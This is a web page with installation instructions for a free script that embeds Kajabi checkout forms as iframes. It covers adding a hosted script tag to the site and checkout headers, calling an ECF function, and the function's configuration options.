Embed Checkout Forms in Kajabi

Embed Your Kajabi Checkout Forms to Your Pages

This code is free, but donations are highly appreciated! Support my work if you liked it!

No more redirects. Design your own checkout pages to impress. Your payment forms will be there.

Checkout Popups Are Even Possible!

You can also embed the same code inside optin popups and exit popups.

How To Install

Step 1: Install the Script

You need to install the script in two locations. Not one. Not optional. Both locations.

The script:

<script src="https://codex.jasongo.net/ecf.js"></script>

1st Location: Settings => Site Details => Page Scripts

2nd Location: Settings => Checkout Settings => Header Tracking Code

Step 2: Embed your checkout forms

In any Kajabi Page within your domain, add a Custom Code Block and type this code:

<script>
ECF("https://www.yourdomain.com/offers/abcdefgh/checkout");
</script>

Change the url inside the ECF("...") function, and replace it with your own Kajabi Checkout URL.

Advanced Configuration

ECF( url, config);

url = The checkout url. You can only embed checkout forms that are under the same Kajabi Site. Custom domain name and mykajabi.com versions of your checkout page will both work to any of the pages within your site.

config = javascript object with the following default format:

{
    width: '100%', // Width of the checkout form iframe. Change to suit your design.
    height: 'auto', // Height of the iframe. Change it to CSS values if you need to have a fixed height.
    id: autogenerated, // Specify a unique iframe id if you need to access the DOM element or CSS selector
    spinner: true, // Set to false if you don't want a spinner
    animation: 'animate__fadeIn', // Set to 'none' to disable animation. You can have other animation styles by using the animate.css classes at https://animate.style
    resizer: { // The resizer options corresponding to the IframeResizer library. See here: https://github.com/davidjbradshaw/iframe-resizer
        log: false,
        heightCalculationMethod: 'taggedElement' // The taggedElement estimation works best with Kajabi. The data-iframe-height attribute needed to detect the height is attached to #new_checkout_offer. See the documentation for other options if height is not adjusting with your design.
    }
}